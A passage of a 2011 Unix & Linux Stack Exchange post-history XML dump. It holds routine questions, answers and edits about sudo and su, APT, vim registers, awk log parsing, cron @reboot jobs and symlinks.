better or for worse.&#xD;&#xA;&#xD;&#xA;For more information, see the [sudo website](http://www.sudo.ws/), or type [`man sudo`](http://www.sudo.ws/sudo/sudo.man.html) on your system. Sudo is very configurable; for example it can be configured to let a certain user only execute certain commands as root. Read the [`sudoers` man page](http://www.sudo.ws/sudo/sudoers.man.html) for more information; use `sudo visudo` to edit the sudoers file.&#xD;&#xA;&#xD;&#xA;## su&#xD;&#xA;&#xD;&#xA;The `su` command exists on most unix-like systems. It lets you run a command as another user, including root, provided you know that user's password.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    su -c 'service apache restart'&#xD;&#xA;&#xD;&#xA;The command to run must be passed using the `-c` option. Note that you need quotes so that the command is not parsed by your shell, but passed intact to the root shell that `su` runs.&#xD;&#xA;&#xD;&#xA;To run multiple commands as root, it is more convenient to start an interactive shell. &#xD;&#xA;&#xD;&#xA;    $ su&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;On some systems, you need to be in group number 0 (called `wheel`) to use `su`. (The point is to limit the damage if the root password is accidentally leaked to someone.)&#xD;&#xA;&#xD;&#xA;## Logging in as root&#xD;&#xA;&#xD;&#xA;If authorized, you can simply type `root` at the login prompt and enter the root password. Be very careful, and avoid running complex applications as root as they might do something you didn't intend. Logging in directly as root is mainly useful in emergency situations, such as disk failures or when you've locked yourself out of your account.&#xD;&#xA;&#xD;&#xA;##Single User Mode&#xD;&#xA;&#xD;&#xA;Single user mode, or run-level 1, also gives you root privileges.  This is intended primarily for emergency maintenance situations where booting into a multi-user run-level is not possible.  You can boot into single user mode by passing `single` or `emergency` on the kernel command line.  Note that booting into single-user mode is not the same as booting the system normally and logging in as root.  Rather, the system will only start the services defined for run-level 1.  Typically, this is the smallest number of services required to have a usable system.&#xD;&#xA;&#xD;&#xA;You can also get to single user mode by using the telinit command: `telinit 1`; however, this command requires root privileges to run.&#xD;&#xA;&#xD;&#xA;On many systems booting into single user mode will give the user access to a root shell without prompting for a password.&#xD;&#xA;&#xD;&#xA;## Other programs&#xD;&#xA;&#xD;&#xA;### Calife&#xD;&#xA;&#xD;&#xA;[Calife][1] lets you run commands as another user by typing your own password, if authorized. It is similar to the much more widespread sudo (see above). Calife is more light-weight than sudo but also less configurable.&#xD;&#xA;&#xD;&#xA;### Emacs&#xD;&#xA;&#xD;&#xA;Thanks to [Tramp](http://www.gnu.org/software/tramp/#Remote-processes), you can run commands as root through `su` or `sudo` within Emacs. See the section on editing root-owned files below.&#xD;&#xA;&#xD;&#xA;In eshell, type `cd /sudo::` or `cd /su::` to become root. Type `cd /` to go back to your own user. The idea is that the current directory is on a “remote” host, which is in fact the same host but accessed as a different user.&#xD;&#xA;&#xD;&#xA;You can also have `M-!` (`shell-command`) or `M-x shell` run as root. First visit a directory using the `su` or `sudo` tramp method, e.g., `C-x C-f /sudo::/ RET` (`find-file` `&quot;/sudo::/&quot;`). Then run `M-!` or `M-x shell` from the resulting dired buffer.&#xD;&#xA;&#xD;&#xA;### Op&#xD;&#xA;&#xD;&#xA;[Op][2] lets you run commands as another user, including root. This not a full-blown tool to run arbitrary commands: you type `op` followed by a *mnemonic* configured by the system administrator to run a specific command.&#xD;&#xA;&#xD;&#xA;### Super&#xD;&#xA;&#xD;&#xA;Super lets you run commands as another user, including root. The command must have been allowed by the system administrator.&#xD;&#xA;&#xD;&#xA;## Graphical frontends&#xD;&#xA;&#xD;&#xA;A few other applications that use `sudo` or `su`:&#xD;&#xA;&#xD;&#xA;### Gksu, Gksudo&#xD;&#xA;&#xD;&#xA;`gksu` and `gksudo` are graphical front-ends to `su` and `sudo` respectively. They allow you to run X Window programs as root with no hassle. They are part of [Gnome](http://www.gnome.org/). Type&#xD;&#xA;&#xD;&#xA;    gksu command --option argument&#xD;&#xA;&#xD;&#xA;and enter the root password, or type&#xD;&#xA;&#xD;&#xA;    gksudo command --option argument&#xD;&#xA;&#xD;&#xA;and enter your password (if authorized to run `sudo`).&#xD;&#xA;&#xD;&#xA;### KdeSu, KdeSudo&#xD;&#xA;&#xD;&#xA;[`kdesu`](http://docs.kde.org/stable/en/kdebase-runtime/kdesu/) and [`kdesudo`](http://ksudo.sourceforge.net/kdesudo/) are graphical front-ends to `su` and `sudo` respectively. They allow you to run X Window programs as root with no hassle. They are part of [KDE](http://www.kde.org/). Type&#xD;&#xA;&#xD;&#xA;    kdesu -c 'command --option argument'&#xD;&#xA;&#xD;&#xA;and enter the root password, or type&#xD;&#xA;&#xD;&#xA;    kdesudo -c 'command --option argument'&#xD;&#xA;&#xD;&#xA;and enter your password (if authorized to run `sudo`). If you check the “keep password” option in KdeSu, you will only have to type the root password once per login session.&#xD;&#xA;&#xD;&#xA;### Ktsuss&#xD;&#xA;&#xD;&#xA;[Ktsuss](http://developer.berlios.de/projects/ktsuss) (“keep the su simple, stupid”) is a graphical version of su.&#xD;&#xA;&#xD;&#xA;### Beesu&#xD;&#xA;&#xD;&#xA;[Beesu][3] is a graphical front-end to the su command that has replaced Gksu in Red Hat-based operating systems. It has been developed mainly for RHEL and Fedora.&#xD;&#xA;&#xD;&#xA;See also [Wikipedia](http://en.wikipedia.org/wiki/Comparison_of_privilege_authorization_features).&#xD;&#xA;&#xD;&#xA;# Running a graphical command as root&#xD;&#xA;&#xD;&#xA;Depending on your system, `su` and `sudo` might not let the commands you run as root to access your X Window display.&#xD;&#xA;&#xD;&#xA;The easiest solution is to use a graphical wrapper such as `gksu`, `kdesu`, `beesu`, or their sudo siblings.&#xD;&#xA;&#xD;&#xA;To achieve this manually, you'll at least need to make sure you retain the `DISPLAY` environment variable in the environment, as well as `XAUTHORITY` if present.&#xD;&#xA;&#xD;&#xA;# Editing a file as root&#xD;&#xA;&#xD;&#xA;Obviously, if you know how to run any command as root, you can run an editor. But that's not the most convenient or the safest method.&#xD;&#xA;&#xD;&#xA;**Note:** There are a few files that you should not edit directly:&#xD;&#xA;&#xD;&#xA;* Never edit the `sudoers` directly. Always use the `visudo` command for that. If you make a mistake in the syntax of the `sudoers` file, you could be locked out of the root account! When you run `visudo`, it lets you edit a temporary copy of the file and performs a syntax verification before replacing the actual file by your edits.&#xD;&#xA;* The same principle applies to the user and group databases, `/etc/passwd` and `/etc/group`. On systems where they are available, use the `vipw` and `vigr` commands respectively.&#xD;&#xA;&#xD;&#xA;## sudoedit&#xD;&#xA;&#xD;&#xA;`sudoedit` (or its synonym `sudo -e`) is a mode of `sudo` where you edit a temporary copy of a file in your favorite editor, and that copy is moved into place when you finish editing.&#xD;&#xA;&#xD;&#xA;    sudoedit /etc/fstab&#xD;&#xA;&#xD;&#xA;## Emacs&#xD;&#xA;&#xD;&#xA;You can use Emacs's remote access mechanism ([Tramp](http://www.gnu.org/software/tramp/)) to edit files as another user. Use the `su` or `sudo` [method](http://www.gnu.org/software/tramp/#Inline-methods). For example, to edit `/etc/fstab`, use one of the following file names:&#xD;&#xA;&#xD;&#xA;    /su::/etc/fstab&#xD;&#xA;    /sudo::/etc/fstab&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.keltia.net/programs/calife/&#xD;&#xA;  [2]: http://linux.die.net/man/1/op&#xD;&#xA;  [3]: http://www.honeybeenet.altervista.org/beesu/" />
  <row Id="18220" PostHistoryTypeId="2" PostId="7783" RevisionGUID="4c8ad274-1ce2-4625-94e7-9766d4b244a5" CreationDate="2011-02-21T17:40:27.863" UserId="4049" Text="[Mypaint][1] is my favorite alternative to MSpaint.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mypaint.intilinux.com/" />
  <row Id="18221" PostHistoryTypeId="2" PostId="7784" RevisionGUID="58ebea0b-37d2-47d2-9fa5-4bf43b4ac6d4" CreationDate="2011-02-21T18:00:12.543" UserId="-1" Text="" />
  <row Id="18222" PostHistoryTypeId="2" PostId="7785" RevisionGUID="3421e0e3-bfe8-4747-96b2-b95418ca3af5" CreationDate="2011-02-21T18:00:12.543" UserId="-1" Text="" />
  <row Id="18223" PostHistoryTypeId="5" PostId="7785" RevisionGUID="4f377620-5b10-4e5b-9900-8d5c06ad9b7f" CreationDate="2011-02-21T18:25:54.733" UserId="688" Comment="added 112 characters in body" Text="APT (Advanced Packaging Tool) is the standard software package management system for Debian and its derivatives." />
  <row Id="18224" PostHistoryTypeId="24" PostId="7785" RevisionGUID="f8d561a6-07a6-41d9-b85e-74c57cc27a9d" CreationDate="2011-02-21T18:25:54.733" Comment="Proposed by 688 approved by 73 edit id of 43" />
  <row Id="18225" PostHistoryTypeId="5" PostId="7784" RevisionGUID="3e4c650b-0099-44a5-9123-ca2f9784a48b" CreationDate="2011-02-21T18:25:58.680" UserId="688" Comment="added 681 characters in body" Text="Here's some basic functionality offered by [APT][1]:&#xD;&#xA;&#xD;&#xA;* install/remove a software package (requires [admin privileges][2]):&#xD;&#xA;&#xD;&#xA;        apt-get install/remove pkgname&#xD;&#xA;&#xD;&#xA;* display basic info about a package&#xD;&#xA;&#xD;&#xA;        apt-cache show pkgname&#xD;&#xA;&#xD;&#xA;* display packages whose names and/or descriptions match the search pattern&#xD;&#xA;&#xD;&#xA;        apt-cache search pattern&#xD;&#xA;&#xD;&#xA;Here's a [usage comparison][3] with other package managers.&#xD;&#xA;&#xD;&#xA;[**note**] APT keeps a log of some of its activities at &quot;**/var/log/apt/history.log**&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Advanced_Packaging_Tool&#xD;&#xA;  [2]: http://unix.stackexchange.com/q/3063/&#xD;&#xA;  [3]: https://wiki.archlinux.org/index.php/Pacman_Rosetta" />
  <row Id="18226" PostHistoryTypeId="24" PostId="7784" RevisionGUID="b9392301-98ca-4ab4-9220-1d02b48a4d48" CreationDate="2011-02-21T18:25:58.680" Comment="Proposed by 688 approved by 73 edit id of 42" />
  <row Id="18227" PostHistoryTypeId="2" PostId="7786" RevisionGUID="63725b5b-4d18-45b0-9bb9-7bafc79ea75c" CreationDate="2011-02-21T18:39:50.160" UserId="2511" Text="Depending on what you're using this for, [TuxPaint][1] might fit the bill. It's designed for children and my kids find it fun to use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tuxpaint.org/" />
  <row Id="18228" PostHistoryTypeId="2" PostId="7787" RevisionGUID="78df9fa9-ceea-460e-8f52-27d33b4d04d1" CreationDate="2011-02-21T18:39:55.740" UserId="4669" Text="Tux Paint -   http://tuxpaint.org/&#xD;&#xA;&#xD;&#xA;kolourpaint - http://www.kde.org/applications/graphics/kolourpaint/" />
  <row Id="18229" PostHistoryTypeId="2" PostId="7788" RevisionGUID="949b5185-0427-4cf0-b88b-bed37274a713" CreationDate="2011-02-21T18:44:49.773" UserId="1070" Text="I'm learning to like vim, but one thing that I haven't yet fully embraced is the copy and paste situation.  In a muggle text editor I would Ctrl-C copy a piece of text and then edit/delete and then paste the text somewhere else.  However in vim I can't do this because after I copy text with `y`, modifying the text often involves `d` and `x` which obliterates my original text.  &#xD;&#xA;&#xD;&#xA;Is there any way to make `d` and `x` not copy the text?  Or otherwise, how should I be using these vim features?" />
  <row Id="18230" PostHistoryTypeId="1" PostId="7788" RevisionGUID="949b5185-0427-4cf0-b88b-bed37274a713" CreationDate="2011-02-21T18:44:49.773" UserId="1070" Text="vim: Can I make *only* y perform a copy?" />
  <row Id="18231" PostHistoryTypeId="3" PostId="7788" RevisionGUID="949b5185-0427-4cf0-b88b-bed37274a713" CreationDate="2011-02-21T18:44:49.773" UserId="1070" Text="évimà" />
  <row Id="18232" PostHistoryTypeId="6" PostId="7453" RevisionGUID="eb25f11b-fa49-4b45-a49c-85dc41c12aa7" CreationDate="2011-02-21T18:57:31.010" UserId="885" Comment="edited tags" Text="éshellàéterminalàéscreenà" />
  <row Id="18233" PostHistoryTypeId="5" PostId="7788" RevisionGUID="9e3c9d6e-189c-40b3-a589-60150a6dfc6b" CreationDate="2011-02-21T18:59:30.837" UserId="73" Comment="added 67 characters in body" Text="I'm learning to like vim, but one thing that I haven't yet fully embraced is the copy and paste situation.  In a muggle text editor I would &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt; copy a piece of text and then edit/delete and then paste the text somewhere else.  However in vim I can't do this because after I copy text with &lt;kbd&gt;y&lt;/kbd&gt;, modifying the text often involves &lt;kbd&gt;d&lt;/kbd&gt; and &lt;kbd&gt;x&lt;/kbd&gt; which obliterates my original text.  &#xD;&#xA;&#xD;&#xA;Is there any way to make &lt;kbd&gt;d&lt;/kbd&gt; and &lt;kbd&gt;x&lt;/kbd&gt; not copy the text?  Or otherwise, how should I be using these vim features?" />
  <row Id="18235" PostHistoryTypeId="2" PostId="7789" RevisionGUID="e33f990e-9cc1-462d-8f7a-6e0626bdb903" CreationDate="2011-02-21T20:21:39.830" UserId="3235" Text="I need to process a very large log file with many lines in different formats. &#xD;&#xA;&#xD;&#xA;My goal is to extract unique  line entries who have the same starting pattern, e.g. '^2011-02-21.*MyKeyword.*Error', effectively obtaining a list of samples for each line pattern, therefore identifying the patterns.&#xD;&#xA;&#xD;&#xA;I only know a few patterns so far, and browsing through the file manually is definitely not the option.&#xD;&#xA;&#xD;&#xA;What is the best way to do this? I do know regular expressions quite well, but haven't done much work with awk/sed which I imagine would be used at some point in this process.&#xD;&#xA;" />
  <row Id="18236" PostHistoryTypeId="1" PostId="7789" RevisionGUID="e33f990e-9cc1-462d-8f7a-6e0626bdb903" CreationDate="2011-02-21T20:21:39.830" UserId="3235" Text="Using grep/sed/awk to classify log file entries" />
  <row Id="18237" PostHistoryTypeId="3" PostId="7789" RevisionGUID="e33f990e-9cc1-462d-8f7a-6e0626bdb903" CreationDate="2011-02-21T20:21:39.830" UserId="3235" Text="égrepàélogsàésedàéawkàéregexà" />
  <row Id="18238" PostHistoryTypeId="25" PostId="7788" RevisionGUID="31fb7ce7-e23a-4d18-aeac-69cfe187e3a1" CreationDate="2011-02-21T20:23:15.397" Comment="http://twitter.com/#!/StackUnix/status/39782221619544064" />
  <row Id="18239" PostHistoryTypeId="2" PostId="7790" RevisionGUID="d1cd51b4-0b55-4898-bcfd-d180818d722e" CreationDate="2011-02-21T20:31:18.117" UserId="138" Text="The commands you're talking about use the so-called &quot;unnamed&quot; register. It is meant only for very short term use. &quot;I'm gonna yank this from here and put it over there&quot; sort of things.&#xD;&#xA;&#xD;&#xA;When you want to hold onto something for more than a few seconds while you go and do something else, you should be using named registers.&#xD;&#xA;&#xD;&#xA;For instance, &lt;kbd&gt;&quot;&lt;/kbd&gt; &lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;y&lt;/kbd&gt; &lt;kbd&gt;y&lt;/kbd&gt; will yank the line the cursor is on into the `a` register. Nothing will clobber it accidentally, unless you type another command involving the `a` register. Minutes, hours, even days later, you can type &lt;kbd&gt;&quot;&lt;/kbd&gt; &lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;p&lt;/kbd&gt; &lt;kbd&gt;p&lt;/kbd&gt; to drop that yanked copy of the line from the `a` register below the one the cursor is on.&#xD;&#xA;&#xD;&#xA;(For this to work really well, you should have a line like `set viminfo='50,\&quot;1000` in your `~/.vimrc` file, to tell it to remember things like register contents across Vim sessions. You can then go on vacation between yank and put!)&#xD;&#xA;&#xD;&#xA;There are 26 named registers (a-z). If you give them as uppercase instead of as shown above, you append to the current register contents instead of replacing them. So, you can build up something really complex in, say, register `h` one piece at a time, then plop it all down at once with &lt;kbd&gt;&quot;&lt;/kbd&gt; &lt;kbd&gt;h&lt;/kbd&gt; &lt;kbd&gt;p&lt;/kbd&gt; &lt;kbd&gt;p&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Notice that the register name is optional. This implies that there may be many commands you already know and use where you could be using named registers. Say `:help registers` in Vim to get some idea of the possibilities.&#xD;&#xA;&#xD;&#xA;Also, &lt;a href=&quot;http://www.thinkgeek.com/homeoffice/mugs/7bbe/&quot;&gt;get a Vi mug&lt;/a&gt;." />
  <row Id="18240" PostHistoryTypeId="2" PostId="7791" RevisionGUID="660e930b-9190-46df-82f1-a412afe57d79" CreationDate="2011-02-21T20:33:27.070" UserId="885" Text="If I understand correctly, you have a bunch of patterns, and you want to extract one match per pattern. The following awk script should do the trick. It prints the first occurrence of the given pattern, and records that the pattern has been seen so as not to print subsequent occurrences.&#xD;&#xA;&#xD;&#xA;    awk '&#xD;&#xA;    /^2011-02-21.*MyKeyword.*Error/ {&#xD;&#xA;        if (!seen[&quot;^2011-02-21.*MyKeyword.*Error&quot;]++) print;&#xD;&#xA;        next;&#xD;&#xA;    }&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Here's a variant that keeps one `MyKeyword.*Error` line per day.&#xD;&#xA;&#xD;&#xA;    awk '&#xD;&#xA;    /^[0-9]{4}-[0-9]{2}-[0-9]{2}.*MyKeyword.*Error/ {&#xD;&#xA;        if (!seen[substr($0,10) &quot;MyKeyword.*Error&quot;]++) print;&#xD;&#xA;        next;&#xD;&#xA;    }&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="18241" PostHistoryTypeId="6" PostId="7780" RevisionGUID="5d55837b-af7a-4b1d-9c05-235d9f022a98" CreationDate="2011-02-21T20:34:01.780" UserId="885" Comment="edited tags" Text="ésoftwareörecàéimageöeditoràélightweightàéfreeösoftwareà" />
  <row Id="18242" PostHistoryTypeId="5" PostId="7789" RevisionGUID="8b506f84-28e5-4491-8568-80d700e851d8" CreationDate="2011-02-21T20:40:45.017" UserId="3235" Comment="added 142 characters in body" Text="I need to process a very large log file with many lines in different formats. &#xD;&#xA;&#xD;&#xA;My goal is to extract unique  line entries who have the same starting pattern, e.g. '^2011-02-21.*MyKeyword.*Error', effectively obtaining a list of samples for each line pattern, therefore identifying the patterns.&#xD;&#xA;&#xD;&#xA;I only know a few patterns so far, and browsing through the file manually is definitely not the option.&#xD;&#xA;&#xD;&#xA;**Please note that besides the known patterns, there is a number of unknown ones too, and I'd like to automate extracting those as well.**&#xD;&#xA;&#xD;&#xA;What is the best way to do this? I do know regular expressions quite well, but haven't done much work with awk/sed which I imagine would be used at some point in this process.&#xD;&#xA;" />
  <row Id="18243" PostHistoryTypeId="2" PostId="7792" RevisionGUID="5fd9237a-d5b5-4e21-9d30-575472ead4fb" CreationDate="2011-02-21T20:40:50.913" UserId="885" Text="The 9 previous yanks are saved in registers called `1` through `9`. You can recall the next-to-last yank with `&quot;1p`, the previous one with `&quot;2p` and so on. The command `:reg` shows the registers that are available for pasting.&#xD;&#xA;&#xD;&#xA;If you want a yank to last longer, [use a letter register](http://unix.stackexchange.com/questions/7788/vim-can-i-make-only-y-perform-a-copy/7790#7790).&#xD;&#xA;&#xD;&#xA;For the more obscure yank-related commands, start reading at `:help &quot;` in the manual.&#xD;&#xA;" />
  <row Id="18244" PostHistoryTypeId="6" PostId="7760" RevisionGUID="3209d686-1a48-4cb4-9c1a-7422ca524dae" CreationDate="2011-02-21T20:43:40.880" UserId="885" Comment="edited tags" Text="élogsàélastà" />
  <row Id="18245" PostHistoryTypeId="17" PostId="7794" RevisionGUID="a6edf4bc-453a-42d2-b794-1607004fdb90" CreationDate="2011-02-21T20:46:15.247" UserId="-1" Comment="from http://serverfault.com/questions/238331/bash-script-on-startup-linux/238337#238337" Text="" />
  <row Id="18246" PostHistoryTypeId="2" PostId="7794" RevisionGUID="6fbee240-5558-4127-ba2d-1092c0c97366" CreationDate="2011-02-21T20:39:30.430" UserId="591" Text="On Ubuntu/Debian you can set up a cron job to run @reboot. This runs once at system startup. Use crontab -e to edit the crontab and add a line like the example below e.g. &#xD;&#xA;&#xD;&#xA;    @reboot /path/to/some/script &#xD;&#xA;&#xD;&#xA;There are lots of resources for cron if you look for them. [This site][1] has several good examples.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/" />
  <row Id="18247" PostHistoryTypeId="2" PostId="7793" RevisionGUID="97d1b98d-ddc7-4e72-9425-f7241c3b0d0e" CreationDate="2011-02-21T20:31:47.680" UserId="4877" Text="Is there any way to make/run a bash script ON reboot&#xD;&#xA;(like in Debian/Ubuntu for instance, since thats what my 2 boxes at home have)&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Also......Any recommended guides for doing Cron jobs, Im completely new to them (but they will be of great use)&#xD;&#xA;" />
  <row Id="18248" PostHistoryTypeId="1" PostId="7793" RevisionGUID="97d1b98d-ddc7-4e72-9425-f7241c3b0d0e" CreationDate="2011-02-21T20:31:47.680" UserId="4877" Text="Bash Script on Startup? (Linux)" />
  <row Id="18249" PostHistoryTypeId="3" PostId="7793" RevisionGUID="97d1b98d-ddc7-4e72-9425-f7241c3b0d0e" CreationDate="2011-02-21T20:31:47.680" UserId="4877" Text="élinuxàéunixàébashàécronà" />
  <row Id="18250" PostHistoryTypeId="17" PostId="7793" RevisionGUID="794e050e-97b8-412f-978b-951f7dd41c18" CreationDate="2011-02-21T20:46:15.247" UserId="-1" Comment="from http://serverfault.com/questions/238331/bash-script-on-startup-linux" Text="" />
  <row Id="18251" PostHistoryTypeId="5" PostId="7791" RevisionGUID="346f0e39-22f7-49d4-b49d-bc8ca6121a12" CreationDate="2011-02-21T20:46:24.510" UserId="885" Comment="show a default handler" Text="If I understand correctly, you have a bunch of patterns, and you want to extract one match per pattern. The following awk script should do the trick. It prints the first occurrence of the given pattern, and records that the pattern has been seen so as not to print subsequent occurrences.&#xD;&#xA;&#xD;&#xA;    awk '&#xD;&#xA;    /^2011-02-21.*MyKeyword.*Error/ {&#xD;&#xA;        if (!seen[&quot;^2011-02-21.*MyKeyword.*Error&quot;]++) print;&#xD;&#xA;        next;&#xD;&#xA;    }&#xD;&#xA;    1 {if (!seen[&quot;&quot;]++) print}  # also print the first line that matches no pattern&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;Here's a variant that keeps one `MyKeyword.*Error` line per day.&#xD;&#xA;&#xD;&#xA;    awk '&#xD;&#xA;    /^[0-9]{4}-[0-9]{2}-[0-9]{2}.*MyKeyword.*Error/ {&#xD;&#xA;        if (!seen[substr($0,10) &quot;MyKeyword.*Error&quot;]++) print;&#xD;&#xA;        next;&#xD;&#xA;    }&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="18252" PostHistoryTypeId="6" PostId="7777" RevisionGUID="8d6f384f-aae0-4729-bc1d-5584c102b70f" CreationDate="2011-02-21T20:48:34.290" UserId="885" Comment="edited tags" Text="élinuxàéxorgàémonitoràéedidà" />
  <row Id="18253" PostHistoryTypeId="6" PostId="7763" RevisionGUID="9c5a45b7-0f0b-454f-bde0-8f7d93d01b45" CreationDate="2011-02-21T20:52:32.707" UserId="885" Comment="edited tags" Text="élinuxàéembeddedàéedidà" />
  <row Id="18254" PostHistoryTypeId="6" PostId="7793" RevisionGUID="c8e91a7a-3cb2-478f-af3b-5d571d466896" CreationDate="2011-02-21T20:56:08.850" UserId="885" Comment="edited tags" Text="élinuxàécronàéschedulingà" />
  <row Id="18255" PostHistoryTypeId="6" PostId="2595" RevisionGUID="70ab0c8a-c5a9-44ca-b456-076f5b5cfc46" CreationDate="2011-02-21T20:56:38.523" UserId="885" Comment="edited tags" Text="écommandölineàéschedulingà" />
  <row Id="18256" PostHistoryTypeId="6" PostId="3106" RevisionGUID="a8255305-f252-4df7-9ed4-b443f3455cee" CreationDate="2011-02-21T21:00:03.353" UserId="885" Comment="edited tags" Text="éfilesystemsàésymlinkàéopenöfilesàérenameà" />
  <row Id="18257" PostHistoryTypeId="5" PostId="7794" RevisionGUID="3c7b9c0a-de92-4066-b9ba-58edfc1b11ee" CreationDate="2011-02-21T21:01:30.483" UserId="591" Comment="added 7 characters in body" Text="On Ubuntu/Debian/Centos you can set up a cron job to run @reboot. This runs once at system startup. Use crontab -e to edit the crontab and add a line like the example below e.g. &#xD;&#xA;&#xD;&#xA;    @reboot /path/to/some/script &#xD;&#xA;&#xD;&#xA;There are lots of resources for cron if you look for them. [This site][1] has several good examples.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/" />
  <row Id="18258" PostHistoryTypeId="2" PostId="7795" RevisionGUID="20e21d2e-6dd2-496b-a332-c236fada2ba0" CreationDate="2011-02-21T21:03:08.080" UserId="1097" Text="The only thing I can think of is that it &quot;protects&quot; you from someone deleting the directory and creating a file.&#xD;&#xA;&#xD;&#xA;    [user@host linktest]$ mkdir test&#xD;&#xA;    [user@host linktest]$ ln -s test/ slash&#xD;&#xA;    [user@host linktest]$ ln -s test noslash&#xD;&#xA;    [user@host linktest]$ ls -l&#xD;&#xA;    total 4&#xD;&#xA;    lrwxrwxrwx 1 paul paul    4 Feb 21 21:00 noslash -&gt; test&#xD;&#xA;    lrwxrwxrwx 1 paul paul    5 Feb 21 21:00 slash -&gt; test/&#xD;&#xA;    drwxrwxr-x 2 paul paul 4096 Feb 21 20:59 test&#xD;&#xA;    [user@host linktest]$ file *slash&#xD;&#xA;    noslash: symbolic link to `test'&#xD;&#xA;    slash: symbolic link to `test/'&#xD;&#xA;    [user@host linktest]$ rmdir test&#xD;&#xA;    [user@host linktest]$ file *slash&#xD;&#xA;    noslash: broken symbolic link to `test'&#xD;&#xA;    slash: broken symbolic link to `test/'&#xD;&#xA;    [user@host linktest]$ touch test&#xD;&#xA;    [user@host linktest]$ file *slash&#xD;&#xA;    noslash: symbolic link to `test'&#xD;&#xA;    slash: broken symbolic link to `test/'&#xD;&#xA;    [user@host linktest]$&#xD;&#xA;&#xD;&#xA;The version with the slash breaks when the target is replaced with a file. " />
  <row Id="18259" PostHistoryTypeId="2" PostId="7796" RevisionGUID="3818bea5-9494-4b4e-bac8-10801792b8e4" CreationDate="2011-02-21T21:03:54.723" UserId="885" Text="[There's no difference.](http://unix.stackexchange.com/questions/1910/how-linux-handles-multiple-path-separators-home-username-file)&#xD;&#xA;&#xD;&#xA;The final slash might have ended up there because of shell completion: with some configuration, `ln -s tar`&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;` link` completes to `ln -s target/ link`.&#xD;&#xA;" />
  <row Id="18260" PostHistoryTypeId="2" PostId="7797" RevisionGUID="4ad86b1d-95ce-4a80-8d1e-34ab7f54aef3" CreationDate="2011-02-21T21:08:46.183" UserId="885" Text="If there is a `wajig` package with a positive priority in any of your sources, `apt-get install wajig` will install it. If I understand correctly, you'd like `apt-get install wajig` to work if squeeze has the latest version and not to work otherwise; I don't think that's possible.&#xD;&#xA;" />
  <row Id="18261" PostHistoryTypeId="6" PostId="7742" RevisionGUID="29d722bf-98cc-4917-8e66-e68eb3420ea0" CreationDate="2011-02-21T21:15:04.270" UserId="885" Comment="edited tags" Text="ésystemöcallsàéfileödescriptorsà" />
  <row Id="18262" PostHistoryTypeId="6" PostId="7740" RevisionGUID="7eee629c-82ea-413b-a018-603a98929b34" CreationDate="2011-02-21T21:16:00.730" UserId="885" Comment="edited tags" Text="éubuntuàépermissionsàéftpà" />
  <row Id="18263" PostHistoryTypeId="5" PostId="7793" RevisionGUID="a4b5228f-6435-44fe-9ce0-8f412939d103" CreationDate="2011-02-21T21:16:53.940" UserId="73" Comment="deleted 13 characters in body" Text="Is there any way to make/run a bash script on reboot&#xD;&#xA;(like in Debian/Ubuntu for instance, since thats what my 2 boxes at home have)&#xD;&#xA;&#xD;&#xA;Also, any recommended guides for doing cron jobs? I'm completely new to them (but they will be of great use)&#xD;&#xA;" />
  <row Id="18264" PostHistoryTypeId="5" PostId="7797" RevisionGUID="ec48b2cf-6f9a-408a-8c7d-21bbc5648891" CreationDate="2011-02-21T21:22:51.937" UserId="885" Comment="added a reference for apt pinning" Text="If there is a `wajig` package with a positive [pin priority](http://wiki.debian.org/AptPreferences) in any of your sources, `apt-get install wajig` will install it. `Default-Release` works like setting a high priority to that particular release. If I understand correctly, you'd like `apt-get install wajig` to work if squeeze has the latest version and not to work otherwise; I don't think that's possible.&#xD;&#xA;" />
  <row Id="18265" PostHistoryTypeId="6" PostId="7736" RevisionGUID="016dcd66-d63e-42e5-aafc-8a1ead3b6016" CreationDate="2011-02-21T21:30:43.753" UserId="885" Comment="edited tags" Text="édebianàéaptàédpkgà" />
  <row Id="18266" PostHistoryTypeId="5" PostId="7756" RevisionGUID="a4df852a-9d49-4ab5-8481-c65810932328" CreationDate="2011-02-21T21:37:50.363" UserId="3169" Comment="added 930 characters in body" Text="In [&quot;Advanced Programming in the UNIX Environment&quot;][1], W. Richard Stevens says it is a performance optimization:&#xD;&#xA;&#xD;&#xA;&gt; By specifying the highest descriptor we're interested in, the kernel can avoid going through hundred of unused bits in the three descriptor sets, looking for bits that are turned on.&#xD;&#xA;&#xD;&#xA;(1st edition, page 399)&#xD;&#xA;&#xD;&#xA;If you are doing any kind of UNIX systems programming, the APUE book is highly recommended.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;An `fd_set` is usually able to track up to 1024 file descriptors.&#xD;&#xA;&#xD;&#xA;The most efficient way to track which `fds` are set to `0` and which are set to `1` would be a bitset, so each `fd_set` would consist of 1024 bits.&#xD;&#xA;&#xD;&#xA;On a 32-bit system, a long int (or &quot;word&quot;) is 32 bits, so that means each `fd_set` is  &#xD;&#xA;1024 / 32 = 32 words.&#xD;&#xA;&#xD;&#xA;If `nfds` is something small, such as 8 or 16, which it would be in many applications, it only needs to look inside the 1st word, which should clearly be faster than looking inside all 32.&#xD;&#xA;&#xD;&#xA;(See `FD_SETSIZE` and 